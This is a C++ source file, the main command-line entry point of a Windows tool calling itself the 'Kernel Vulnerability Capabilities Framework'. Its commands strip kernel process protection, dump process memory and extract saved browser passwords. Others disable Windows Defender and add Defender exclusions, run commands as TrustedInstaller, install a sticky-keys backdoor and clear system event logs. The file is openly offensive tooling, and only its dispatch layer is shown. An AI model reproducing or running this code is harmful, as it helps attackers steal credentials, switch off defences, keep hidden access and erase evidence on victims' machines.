/**
 * @file kvc.cpp
 * @brief Kernel Vulnerability Capabilities Framework - Main Application Entry Point
 * @author Marek Wesolowski
 * @date 2025
 * @copyright KVC Framework
 * 
 * Main command-line interface for the KVC framework providing:
 * - Process protection manipulation (PP/PPL)
 * - Memory dumping operations
 * - Browser password extraction
 * - Windows Defender management
 * - Registry operations
 * - System service integration
 * - TrustedInstaller privilege escalation
 */

#include "common.h"
#include "Controller.h"
#include "HelpSystem.h"
#include "DefenderManager.h"
#include "ProcessManager.h"
#include "ServiceManager.h"
#include "HiveManager.h"
#include <signal.h>
#include <charconv>
#include <Shlobj.h>

#pragma comment(lib, "Shell32.lib")

// ============================================================================
// GLOBAL STATE
// ============================================================================

/** @brief Global controller instance for driver and system operations */
std::unique_ptr<Controller> g_controller;

/** @brief Signal handler flag for graceful shutdown */
volatile bool g_interrupted = false;

// ============================================================================
// FORWARD DECLARATIONS
// ============================================================================

void CleanupDriver() noexcept;
std::optional<DWORD> ParsePid(std::wstring_view pidStr) noexcept;
bool IsNumeric(std::wstring_view str) noexcept;
bool IsHelpFlag(std::wstring_view arg) noexcept;
bool CheckKvcPassExists() noexcept;
bool InitiateSystemRestart() noexcept;

// ============================================================================
// SIGNAL HANDLERS
// ============================================================================

/**
 * @brief Emergency signal handler for Ctrl+C interruption
 * 
 * Ensures proper driver cleanup on emergency exit to prevent system instability.
 * 
 * @param signum Signal number (SIGINT)
 */
void SignalHandler(int signum)
{
    if (signum == SIGINT) {
        g_interrupted = true;
        ERROR(L"\nInterrupted by user - performing emergency cleanup...");
        CleanupDriver();
        exit(130); // Standard exit code for Ctrl+C
    }
}

// ============================================================================
// HELPER FUNCTIONS
// ============================================================================

/**
 * @brief Robust PID parsing with comprehensive validation
 * 
 * @param pidStr String view containing PID value
 * @return std::optional<DWORD> Parsed PID or nullopt on invalid input
 * 
 * @note Uses std::from_chars for efficient and safe parsing
 * @note Rejects non-ASCII characters
 */
std::optional<DWORD> ParsePid(std::wstring_view pidStr) noexcept
{
    if (pidStr.empty()) return std::nullopt;

    // Convert wide string to narrow for std::from_chars compatibility
    std::string narrowStr;
    narrowStr.reserve(pidStr.size());
    
    for (wchar_t wc : pidStr) {
        if (wc > 127) return std::nullopt; // Non-ASCII character detected
        narrowStr.push_back(static_cast<char>(wc));
    }

    DWORD result = 0;
    auto [ptr, ec] = std::from_chars(narrowStr.data(), 
                                     narrowStr.data() + narrowStr.size(), 
                                     result);
    
    return (ec == std::errc{} && ptr == narrowStr.data() + narrowStr.size()) ? 
           std::make_optional(result) : std::nullopt;
}

/**
 * @brief Checks if string contains only digits
 * 
 * @param str String to validate
 * @return bool true if string is purely numeric
 */
bool IsNumeric(std::wstring_view str) noexcept
{
    if (str.empty()) return false;
    
    for (wchar_t ch : str) {
        if (ch < L'0' || ch > L'9')
            return false;
    }
    
    return true;
}

/**
 * @brief Recognizes various help flag formats for user convenience
 * 
 * Supports: /?, /help, /h, -?, -help, -h, --help, --h, help, ?
 * 
 * @param arg Argument to check
 * @return bool true if argument is a help flag
 */
bool IsHelpFlag(std::wstring_view arg) noexcept
{
    if (arg == L"/?" || arg == L"/help" || arg == L"/h")
        return true;
    
    if (arg == L"-?" || arg == L"-help" || arg == L"-h")
        return true;
    
    if (arg == L"--help" || arg == L"--h")
        return true;
    
    if (arg == L"help" || arg == L"?")
        return true;
    
    return false;
}

/**
 * @brief Checks if kvc_pass.exe exists in current directory or System32
 * 
 * @return bool true if kvc_pass.exe is found
 */
bool CheckKvcPassExists() noexcept
{
    // Check current directory
    if (GetFileAttributesW(L"kvc_pass.exe") != INVALID_FILE_ATTRIBUTES) 
        return true;
    
    // Check System32
    wchar_t systemDir[MAX_PATH];
    if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) {
        std::wstring path = std::wstring(systemDir) + L"\\kvc_pass.exe";
        return GetFileAttributesW(path.c_str()) != INVALID_FILE_ATTRIBUTES;
    }
    
    return false;
}

/**
 * @brief Initiates system restart with proper privilege escalation
 * 
 * Used after security engine changes that require reboot.
 * 
 * @return bool true if restart initiated successfully
 */
bool InitiateSystemRestart() noexcept
{
    HANDLE token;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) {
        ERROR(L"Failed to open process token for restart");
        return false;
    }

    if (!LookupPrivilegeValueW(nullptr, SE_SHUTDOWN_NAME, &luid)) {
        ERROR(L"Failed to lookup shutdown privilege");
        CloseHandle(token);
        return false;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    bool success = AdjustTokenPrivileges(token, FALSE, &tp, 0, nullptr, nullptr);
    CloseHandle(token);

    if (!success) {
        ERROR(L"Failed to enable shutdown privilege");
        return false;
    }

    // Initiate system restart with appropriate reason code
    return ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 
                        SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != 0;
}

/**
 * @brief Emergency cleanup for driver resources
 * 
 * Called on exit or Ctrl+C to prevent system instability.
 */
void CleanupDriver() noexcept
{
    if (g_controller) {
        g_controller->PerformAtomicCleanup();
    }
}

// ============================================================================
// MAIN APPLICATION ENTRY POINT
// ============================================================================

/**
 * @brief Main application entry point with comprehensive command handling
 * 
 * Supported commands:
 * - Service management: install, uninstall, service
 * - Process operations: list, protect, unprotect, set, dump, kill
 * - Browser extraction: browser-passwords, bp, export
 * - System integration: trusted, install-context, add-exclusion
 * - Security operations: shift, unshift, disable-defender, enable-defender
 * - Registry: registry backup/restore/defrag
 * - Session management: restore, history, cleanup-sessions
 * - Advanced: setup, evtclear
 * 
 * @param argc Argument count
 * @param argv Argument vector
 * @return int Exit code (0=success, 1=error, 2=operation failed, 3=exception)
 */
int wmain(int argc, wchar_t* argv[])
{
    // Install signal handler for emergency cleanup on Ctrl+C
    signal(SIGINT, SignalHandler);
    
    // Service mode detection - MUST BE FIRST to handle NT service startup
    if (argc >= 2) {
        std::wstring_view firstArg = argv[1];
        if (firstArg == L"--service") {
            return ServiceManager::RunAsService();
        }
    }
    
    // Display comprehensive help if no arguments provided
    if (argc < 2) {
        HelpSystem::PrintUsage(argv[0]);
        return 1;
    }

    std::wstring_view firstArg = argv[1];
    
    // Handle various help flag formats
    if (IsHelpFlag(firstArg)) {
        HelpSystem::PrintUsage(argv[0]);
        return 0;
    }

    // Initialize controller for kernel operations and driver management
    g_controller = std::make_unique<Controller>();
    std::wstring_view command = firstArg;

    try {
        // ====================================================================
        // SERVICE MANAGEMENT COMMANDS
        // ====================================================================
        
        if (command == L"install") {
            wchar_t exePath[MAX_PATH];
            if (GetModuleFileNameW(nullptr, exePath, MAX_PATH) == 0) {
                ERROR(L"Failed to get current executable path");
                return 1;
            }
            
            INFO(L"Installing Kernel Vulnerability Capabilities Framework service...");
            bool success = ServiceManager::InstallService(exePath);
            return success ? 0 : 1;
        }
        
        else if (command == L"uninstall") {
            INFO(L"Uninstalling Kernel Vulnerability Capabilities Framework service...");
            bool success = ServiceManager::UninstallService();
            
            // Clear the entire configuration from the registry
            INFO(L"Cleaning up registry configuration...");
            HKEY hKey;
            if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software", 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
                LONG result = RegDeleteTreeW(hKey, L"kvc");
                if (result == ERROR_SUCCESS) {
                    SUCCESS(L"Registry configuration cleaned successfully");
                } else if (result == ERROR_FILE_NOT_FOUND) {
                    INFO(L"No registry configuration found to clean");
                } else {
                    ERROR(L"Failed to clean registry configuration: %d", result);
                }
                RegCloseKey(hKey);
            }
            
            return success ? 0 : 1;
        }
        
        else if (command == L"service") {
            if (argc < 3) {
                ERROR(L"Missing service command: start, stop, restart");
                return 1;
            }
            
            std::wstring_view subCmd = argv[2];
            
			if (subCmd == L"start") {
				INFO(L"Starting Kernel Vulnerability Capabilities Framework service...");
				bool result = ServiceManager::StartServiceProcess();
				if (result) {
					SUCCESS(L"Service started successfully");
				} else {
					ERROR(L"Failed to start service");
				}
				return result ? 0 : 1;
			} else if (subCmd == L"stop") {
				INFO(L"Stopping Kernel Vulnerability Capabilities Framework service...");
				bool result = ServiceManager::StopServiceProcess();
				if (result) {
					SUCCESS(L"Service stopped successfully");
				} else {
					ERROR(L"Failed to stop service");
				}
				return result ? 0 : 1;
			} else if (subCmd == L"restart") {
				INFO(L"Restarting Kernel Vulnerability Capabilities Framework service...");
				
				INFO(L"Stopping service...");
				bool stopped = ServiceManager::StopServiceProcess();
				if (stopped) {
					SUCCESS(L"Service stopped");
				} else {
					ERROR(L"Failed to stop service");
				}
				
				Sleep(500);
				
				INFO(L"Starting service...");
				bool started = ServiceManager::StartServiceProcess();
				if (started) {
					SUCCESS(L"Service started");
				} else {
					ERROR(L"Failed to start service");
				}
				
				return (stopped && started) ? 0 : 1;
			} else if (subCmd == L"status") {
				INFO(L"Checking Kernel Vulnerability Capabilities Framework service status...");
				
				const bool installed = IsServiceInstalled();
				const bool running = installed ? IsServiceRunning() : false;
				
				std::wcout << L"\n";
				INFO(L"Service Information:");
				INFO(L"  Name: %s", ServiceConstants::SERVICE_NAME);
				INFO(L"  Display Name: %s", ServiceConstants::SERVICE_DISPLAY_NAME);
				std::wcout << L"\n";
				
				if (installed) {
					SUCCESS(L"Installation Status: INSTALLED");
					if (running) {
						SUCCESS(L"Runtime Status: RUNNING");
						SUCCESS(L"Service is operational and ready for kernel operations");
					} else {
						ERROR(L"Runtime Status: STOPPED");
						INFO(L"Use 'kvc service start' to start the service");
					}
				} else {
					ERROR(L"Installation Status: NOT INSTALLED");
					INFO(L"Use 'kvc install' to install the service first");
				}
				
				std::wcout << L"\n";
				return 0;
			} else {
				ERROR(L"Unknown service command: %s", subCmd.data());
				return 1;
			}
        }
        
        // ====================================================================
        // PROCESS INFORMATION COMMANDS
        // ====================================================================
        
        else if (command == L"list") {
            // Detect reboot and enforce session limit
            g_controller->m_sessionMgr.DetectAndHandleReboot();
            return g_controller->ListProtectedProcesses() ? 0 : 2;
        }
        
        else if (command == L"info") {
            if (argc < 3) {
                ERROR(L"Missing PID/process name argument");
                return 1;
            }
            
            std::wstring_view target = argv[2];
            
            if (IsNumeric(target)) {
                auto pid = ParsePid(target);
                if (!pid) {
                    ERROR(L"Invalid PID format: %s", target.data());
                    return 1;
                }
                return g_controller->GetProcessProtection(pid.value()) ? 0 : 2;
            } else {
                std::wstring processName(target);
                return g_controller->GetProcessProtectionByName(processName) ? 0 : 2;
            }
        }
        
				else if (command == L"get") {
			if (argc < 3) {
				ERROR(L"Missing PID/process name argument");
				return 1;
			}
			
			std::wstring_view target = argv[2];
			
			if (IsNumeric(target)) {
				auto pid = ParsePid(target);
				if (!pid) {
					ERROR(L"Invalid PID format: %s", target.data());
					return 1;
				}
				return g_controller->GetProcessProtection(pid.value()) ? 0 : 2;
			} else {
				std::wstring processName(target);
				return g_controller->GetProcessProtectionByName(processName) ? 0 : 2;
			}
		}
		
		
        else if (command == L"list-signer") {
            if (argc < 3) {
                ERROR(L"Missing signer type argument");
                return 1;
            }
            
            std::wstring signerName = argv[2];
            return g_controller->ListProcessesBySigner(signerName) ? 0 : 1;
        }
        
        // ====================================================================
        // PROCESS PROTECTION COMMANDS
        // ====================================================================
        
        else if (command == L"set" || command == L"protect") {
            if (argc < 5) {
                ERROR(L"Missing arguments: <PID/process_name> <PP|PPL> <SIGNER_TYPE>");
                return 1;
            }
            
            std::wstring_view target = argv[2];
            std::wstring level = argv[3];
            std::wstring signer = argv[4];
            
            // Handle comma-separated list for batch operations
            std::wstring targetStr(target);
            if (targetStr.find(L',') != std::wstring::npos) {
                std::vector<std::wstring> targets;
                std::wstring current;
                
                for (wchar_t ch : targetStr) {
                    if (ch == L',') {
                        if (!current.empty()) {
                            targets.push_back(current);
                            current.clear();
                        }
                    } else if (ch != L' ' && ch != L'\t') {
                        current += ch;
                    }
                }
                
                if (!current.empty())
                    targets.push_back(current);
                
                if (targets.empty()) {
                    ERROR(L"No valid targets in comma-separated list");
                    return 1;
                }
                
                INFO(L"Batch %s operation: %zu targets", command.data(), targets.size());
                
                bool result = (command == L"set") ?
                    g_controller->SetMultipleProcessesProtection(targets, level, signer) :
                    g_controller->ProtectMultipleProcesses(targets, level, signer);
                
                return result ? 0 : 2;
            }
            
            // Single target (PID or name)
            bool result = false;
            
            if (IsNumeric(target)) {
                auto pid = ParsePid(target);
                if (!pid) {
                    ERROR(L"Invalid PID format: %s", target.data());
                    return 1;
                }
                
                result = (command == L"set") ?
                    g_controller->SetProcessProtection(pid.value(), level, signer) :
                    g_controller->ProtectProcess(pid.value(), level, signer);
            } else {
                std::wstring processName(target);
                
                result = (command == L"set") ?
                    g_controller->SetProcessProtectionByName(processName, level, signer) :
                    g_controller->ProtectProcessByName(processName, level, signer);
            }
            
            return result ? 0 : 2;
        }
        
		else if (command == L"unprotect") {
			if (argc < 3) {
				ERROR(L"Missing PID/process name argument");
				return 1;
			}
			
			std::wstring_view target = argv[2];
			
			// Handle special 'all' keyword
			if (target == L"all") {
				return g_controller->UnprotectAllProcesses() ? 0 : 2;
			}
			
			// Handle comma-separated list
			std::wstring targetStr(target);
			if (targetStr.find(L',') != std::wstring::npos) {
				std::vector<std::wstring> targets;
				std::wstring current;
				
				for (wchar_t ch : targetStr) {
					if (ch == L',') {
						if (!current.empty()) {
							targets.push_back(current);
							current.clear();
						}
					} else if (ch != L' ' && ch != L'\t') {
						current += ch;
					}
				}
				
				if (!current.empty())
					targets.push_back(current);
				
				return g_controller->UnprotectMultipleProcesses(targets) ? 0 : 2;
			}
			
			// Single target - check if it's a signer type FIRST
			auto signerType = Utils::GetSignerTypeFromString(targetStr);
			if (signerType) {
				// It's a signer type - unprotect all processes with this signer
				return g_controller->UnprotectBySigner(targetStr) ? 0 : 2;
			}
			
			// Not a signer - check if it's PID or process name
			if (IsNumeric(target)) {
				auto pid = ParsePid(target);
				if (!pid) {
					ERROR(L"Invalid PID format: %s", target.data());
					return 1;
				}
				return g_controller->UnprotectProcess(pid.value()) ? 0 : 2;
			} else {
				std::wstring processName(target);
				return g_controller->UnprotectProcessByName(processName) ? 0 : 2;
			}
		}
        
        else if (command == L"unprotect-signer") {
            if (argc < 3) {
                ERROR(L"Missing signer type argument");
                return 1;
            }
            
            std::wstring signerName = argv[2];
            return g_controller->UnprotectBySigner(signerName) ? 0 : 2;
        }
		
		else if (command == L"set-signer") {
			if (argc < 5) {
				ERROR(L"Missing arguments: <CURRENT_SIGNER> <PP|PPL> <NEW_SIGNER>");
				return 1;
			}
			
			std::wstring currentSigner = argv[2];
			std::wstring level = argv[3];
			std::wstring newSigner = argv[4];
			
			auto signerType = Utils::GetSignerTypeFromString(currentSigner);
			if (!signerType) {
				ERROR(L"Invalid signer type: %s", currentSigner.c_str());
				return 1;
			}
			
			return g_controller->SetProtectionBySigner(currentSigner, level, newSigner) ? 0 : 2;
		}
        
        // ====================================================================
        // MEMORY DUMPING
        // ====================================================================
        
        else if (command == L"dump") {
            if (argc < 3) {
                ERROR(L"Missing PID/process name argument");
                return 1;
            }

            std::wstring_view target = argv[2];
            std::wstring outputPath;

            // Use provided output path or default to Downloads
            if (argc >= 4) {
                outputPath = argv[3];
            } else {
                wchar_t* downloadsPath;
                if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, NULL, &downloadsPath) == S_OK) {
                    outputPath = downloadsPath;
                    outputPath += L"\\";
                    CoTaskMemFree(downloadsPath);
                } else {
                    outputPath = L".\\";
                }
            }

            if (IsNumeric(target)) {
                auto pid = ParsePid(target);
                if (!pid) {
                    ERROR(L"Invalid PID format: %s", target.data());
                    return 1;
                }
                return g_controller->DumpProcess(pid.value(), outputPath) ? 0 : 2;
            } else {
                std::wstring processName(target);
                return g_controller->DumpProcessByName(processName, outputPath) ? 0 : 2;
            }
        }
        
        // ====================================================================
        // PROCESS TERMINATION
        // ====================================================================
        
        else if (command == L"kill") {
            ProcessManager::HandleKillCommand(argc, argv, g_controller.get());
            return 0;
        }
        
        // ====================================================================
        // BROWSER PASSWORD EXTRACTION
        // ====================================================================
        
        else if (command == L"browser-passwords" || command == L"bp") {
            std::wstring browserType = L"chrome";
            std::wstring outputPath = L".";
            
            // Parse arguments
            for (int i = 2; i < argc; i++) {
                std::wstring arg = argv[i];
                if (arg == L"--chrome") {
                    browserType = L"chrome";
                } else if (arg == L"--brave") {
                    browserType = L"brave";
                } else if (arg == L"--edge") {
                    browserType = L"edge";
                } else if (arg == L"--all") {
                    browserType = L"all";
                } else if (arg == L"--output" || arg == L"-o") {
                    if (i + 1 < argc) {
                        outputPath = argv[++i];
                    } else {
                        ERROR(L"Missing path for --output argument");
                        return 1;
                    }
                } else {
                    ERROR(L"Unknown argument: %s", arg.c_str());
                    return 1;
                }
            }
            
            // Handle 'all' - requires kvc_pass.exe
            if (browserType == L"all") {
                if (!CheckKvcPassExists()) {
                    ERROR(L"--all requires kvc_pass.exe");
                    return 1;
                }
                
                if (!g_controller->ExportBrowserData(outputPath, browserType)) {
                    ERROR(L"Failed to extract from all browsers");
                    return 1;
                }
                return 0;
            }
            
            // Handle Edge with dual extraction
            if (browserType == L"edge") {
                bool hasKvcPass = CheckKvcPassExists();
                
                if (hasKvcPass) {
                    INFO(L"Full Edge extraction: JSON (kvc_pass) + HTML/TXT (KVC DPAPI)");
                    
                    if (!g_controller->ExportBrowserData(outputPath, browserType)) {
                        ERROR(L"kvc_pass extraction failed");
                    }
                    
                    INFO(L"Generating HTML/TXT reports...");
                    g_controller->ShowPasswords(outputPath);
                    
                    SUCCESS(L"Edge extraction complete");
                } else {
                    INFO(L"Using built-in Edge DPAPI extraction (HTML/TXT only)");
                    g_controller->ShowPasswords(outputPath);
                }
                return 0;
            }
            
            // Chrome, Brave - require kvc_pass.exe
            if (!g_controller->ExportBrowserData(outputPath, browserType)) {
                ERROR(L"Failed to export browser passwords");
                return 1;
            }
            return 0;
        }
        
        else if (command == L"export") {
            if (argc < 3) {
                ERROR(L"Missing export subcommand: secrets");
                return 1;
            }
            
            std::wstring_view subCommand = argv[2];
            
			if (subCommand == L"secrets") {
				std::wstring outputPath = (argc >= 4) ? argv[3] : PathUtils::GetDefaultSecretsOutputPath();
				
				if (outputPath.empty()) {
					ERROR(L"Failed to determine default output path");
					return 1;
				}
                g_controller->ShowPasswords(outputPath);
                return 0;
            } else {
                ERROR(L"Unknown export subcommand: %s", subCommand.data());
                return 1;
            }
        }
        
        // ====================================================================
        // SYSTEM INTEGRATION
        // ====================================================================
        
        else if (command == L"trusted") {
            if (argc < 3) {
                ERROR(L"Missing command for elevated execution");
                return 1;
            }

            // Combine remaining arguments
            std::wstring fullCommand;
            for (int i = 2; i < argc; i++) {
                if (i > 2) fullCommand += L" ";
                fullCommand += argv[i];
            }

            return g_controller->RunAsTrustedInstaller(fullCommand) ? 0 : 2;
        }
        
        else if (command == L"install-context") {
            return g_controller->AddContextMenuEntries() ? 0 : 1;
        }
        
		// ====================================================================
		// WINDOWS DEFENDER MANAGEMENT
		// ====================================================================

		else if (command == L"secengine") {
			if (argc < 3) {
				ERROR(L"Missing subcommand for secengine. Usage: kvc secengine <disable|enable|status>");
				return 1;
			}
			
			std::wstring_view subcommand = argv[2];
			
			if (subcommand == L"disable") {
				if (DefenderManager::DisableSecurityEngine()) {
					SUCCESS(L"Security engine disabled successfully - restart required");
					
					if (argc > 3 && std::wstring_view(argv[3]) == L"--restart") {
						INFO(L"Initiating system restart...");
						return InitiateSystemRestart() ? 0 : 1;
					}
					return 0;
				}
				return 1;
			}
			else if (subcommand == L"enable") {
				if (DefenderManager::EnableSecurityEngine()) {
					SUCCESS(L"Security engine enabled successfully - restart required");
					
					if (argc > 3 && std::wstring_view(argv[3]) == L"--restart") {
						INFO(L"Initiating system restart...");
						return InitiateSystemRestart() ? 0 : 1;
					}
					return 0;
				}
				return 1;
			}
			else if (subcommand == L"status") {
				auto status = DefenderManager::GetSecurityEngineStatus();
				
				if (status == DefenderManager::SecurityState::ENABLED) {
					INFO(L"Security Engine Status: ENABLED (Active Protection)");
					HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
					SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
					std::wcout << L"  ✓ Windows Defender is actively protecting the system\n";
					SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
				}
				else if (status == DefenderManager::SecurityState::DISABLED) {
					INFO(L"Security Engine Status: DISABLED (Inactive Protection)");
					HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
					SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
					std::wcout << L"  ✗ Windows Defender protection is disabled\n";
					SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
				}
				else {
					INFO(L"Security Engine Status: UNKNOWN (Cannot determine state)");
					HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
					SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
					std::wcout << L"  ? Unable to determine Defender protection state\n";
					SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);
				}
				
				return 0;
			}
			else {
				ERROR(L"Invalid secengine subcommand: %s", subcommand.data());
				ERROR(L"Valid subcommands: disable, enable, status");
				return 1;
			}
		}

		else if (command == L"add-exclusion") {
            // Legacy: no args = add self
            if (argc < 3) {
                wchar_t exePath[MAX_PATH];
                if (GetModuleFileNameW(nullptr, exePath, MAX_PATH) == 0) {
                    ERROR(L"Failed to get current executable path");
                    return 1;
                }
                
                INFO(L"Adding self to Defender exclusions: %s", exePath);
                return g_controller->AddToDefenderExclusions(exePath) ? 0 : 2;
            }
            
            // New syntax with type
            std::wstring_view subCmd = argv[2];
            
            if (subCmd == L"path" || subCmd == L"process") {
                if (argc < 4) {
                    ERROR(L"Missing path/process argument");
                    return 1;
                }
                
                std::wstring target = argv[3];
                
                if (subCmd == L"path") {
                    return g_controller->AddPathExclusion(target) ? 0 : 2;
                } else {
                    return g_controller->AddProcessExclusion(target) ? 0 : 2;
                }
            } else {
                // Legacy: treat as direct path
                std::wstring path = argv[2];
                return g_controller->AddToDefenderExclusions(path) ? 0 : 2;
            }
        }
				else if (command == L"remove-exclusion") {
			// Legacy: no args = remove self
			if (argc < 3) {
				wchar_t exePath[MAX_PATH];
				if (GetModuleFileNameW(nullptr, exePath, MAX_PATH) == 0) {
					ERROR(L"Failed to get current executable path");
					return 1;
				}
				
				INFO(L"Removing self from Defender exclusions: %s", exePath);
				return g_controller->RemoveFromDefenderExclusions(exePath) ? 0 : 2;
			}
			
			// New syntax with type
			std::wstring_view subCmd = argv[2];
			
			if (subCmd == L"path" || subCmd == L"process") {
				if (argc < 4) {
					ERROR(L"Missing path/process argument");
					return 1;
				}
				
				std::wstring target = argv[3];
				
				if (subCmd == L"path") {
					return g_controller->RemovePathExclusion(target) ? 0 : 2;
				} else {
					return g_controller->RemoveProcessExclusion(target) ? 0 : 2;
				}
			} else {
				// Legacy: treat as direct path
				std::wstring path = argv[2];
				return g_controller->RemoveFromDefenderExclusions(path) ? 0 : 2;
			}
		}
	    else if (command == L"disable-defender") {
            INFO(L"Disabling Windows Defender (requires restart)...");
            bool result = DefenderManager::DisableSecurityEngine();
            
            if (result) {
                SUCCESS(L"Windows Defender disabled successfully");
                INFO(L"System restart required to apply changes");
                
                if (argc >= 3 && std::wstring_view(argv[2]) == L"--restart") {
                    INFO(L"Initiating system restart...");
                    return InitiateSystemRestart() ? 0 : 2;
                }
            }
            
            return result ? 0 : 2;
        }
        
        else if (command == L"enable-defender") {
            return DefenderManager::EnableSecurityEngine() ? 0 : 2;
        }
        
        // ====================================================================
        // STICKY KEYS BACKDOOR
        // ====================================================================
        
        else if (command == L"shift") {
            INFO(L"Installing sticky keys backdoor...");
            return g_controller->InstallStickyKeysBackdoor() ? 0 : 2;
        }
        
        else if (command == L"unshift") {
            INFO(L"Removing sticky keys backdoor...");
            return g_controller->RemoveStickyKeysBackdoor() ? 0 : 2;
        }
        
        // ====================================================================
        // REGISTRY OPERATIONS
        // ====================================================================
        
        else if (command == L"registry") {
            if (argc < 3) {
                ERROR(L"Missing registry subcommand: backup, restore, defrag");
                return 1;
            }
            
            std::wstring_view subcommand = argv[2];
            HiveManager hiveManager;
            
            if (subcommand == L"backup") {
                std::wstring targetPath;
                if (argc >= 4)
                    targetPath = argv[3];
                
                return hiveManager.Backup(targetPath) ? 0 : 2;
            }
            else if (subcommand == L"restore") {
                if (argc < 4) {
                    ERROR(L"Missing source path for restore");
                    return 1;
                }
                
                std::wstring sourcePath = argv[3];
                return hiveManager.Restore(sourcePath) ? 0 : 2;
            }
            else if (subcommand == L"defrag") {
                std::wstring tempPath;
                if (argc >= 4)
                    tempPath = argv[3];
                
                return hiveManager.Defrag(tempPath) ? 0 : 2;
            }
            else {
                ERROR(L"Unknown registry subcommand: %s", subcommand.data());
                return 1;
            }
        }
        
        // ====================================================================
        // SESSION MANAGEMENT
        // ====================================================================
        
        else if (command == L"restore") {
            if (argc < 3) {
                ERROR(L"Missing argument: <signer_name|all>");
                return 1;
            }
            
            std::wstring_view target = argv[2];
            
            if (target == L"all") {
                return g_controller->RestoreAllProtection() ? 0 : 2;
            } else {
                std::wstring signerName(target);
                return g_controller->RestoreProtectionBySigner(signerName) ? 0 : 2;
            }
        }
        
        else if (command == L"history") {
            g_controller->ShowSessionHistory();
            return 0;
        }
        
        else if (command == L"cleanup-sessions") {
            g_controller->m_sessionMgr.CleanupAllSessionsExceptCurrent();
            return 0;
        }
        
        // ====================================================================
        // ADVANCED OPERATIONS
        // ====================================================================
        
        else if (command == L"setup") {
            INFO(L"Loading and processing kvc.dat combined binary...");
            return g_controller->LoadAndSplitCombinedBinaries() ? 0 : 2;
        }
        
        else if (command == L"evtclear") {
            return g_controller->ClearSystemEventLogs() ? 0 : 2;
        }
        
        // ====================================================================
        // UNKNOWN COMMAND
        // ====================================================================
        
        else {
            HelpSystem::PrintUnknownCommandMessage(command);
            return 1;
        }
    }
    catch (const std::exception& e) {
        std::string msg = e.what();
        std::wstring wmsg(msg.begin(), msg.end());
        ERROR(L"Exception: %s", wmsg.c_str());
        CleanupDriver();
        return 3;
    }
    catch (...) {
        ERROR(L"Unknown exception occurred");
        CleanupDriver();
        return 3;
    }

    CleanupDriver();
    return 0;
}